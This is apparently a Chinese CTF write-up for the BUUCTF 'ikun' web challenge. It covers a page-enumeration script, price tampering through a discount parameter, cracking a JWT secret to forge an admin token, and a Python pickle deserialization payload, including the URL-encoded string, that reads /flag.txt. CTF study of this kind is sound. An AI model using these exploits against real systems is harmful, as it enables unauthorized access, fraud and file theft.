打开题目是一个kunkun和一句买到lv6的话
先注册一个登录栞栞,没有东西,应该就是要买lv6了
点击下一页url加上了?page=2
一开始循环里是url=url+str(i)然后就一直报500code,给自己一拳
lv6每页都有所以要加.png
结果是page=181
import requests
url="http://93b9fe83-ed26-4bbe-b6af-b0fd164e9ab5.node4.buuoj.cn:81/shop?page="
for i in range(0,1000):
res=requests.get(url+str(i))
if ('lv6.png' in res.text):
print('find:'+str(i))
break
还是那么臭(
没有钱,但是抓包看见discount,直接0.000000000001打骨折
此时的url变成/b1g_m4mber
抓包看见JWT JWT页面
username改成admin 还有个256-bit-secret
大佬的jwt-cracker
$ git clone https://github.com/brendan-rius/c-jwt-cracker $ cd c-jwt-cracker/ $ make $ ./jwtcrack XXX
跑得secret为’1Kun’
session里设置jwt后伪造成功
点击没反应,源码里有文件
在 sshop/views/Admin.py 有个反序列化点。
这里是Pickle反序列化
pickle还没学,扔一个大佬的脚本在这里
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
POST上传become的amin改成c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
就有flag了


![buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun buuctf-[CISCN2019 华北赛区 Day1 Web2]ikun](http://www.mshxw.com/aiimages/31/300066.png)
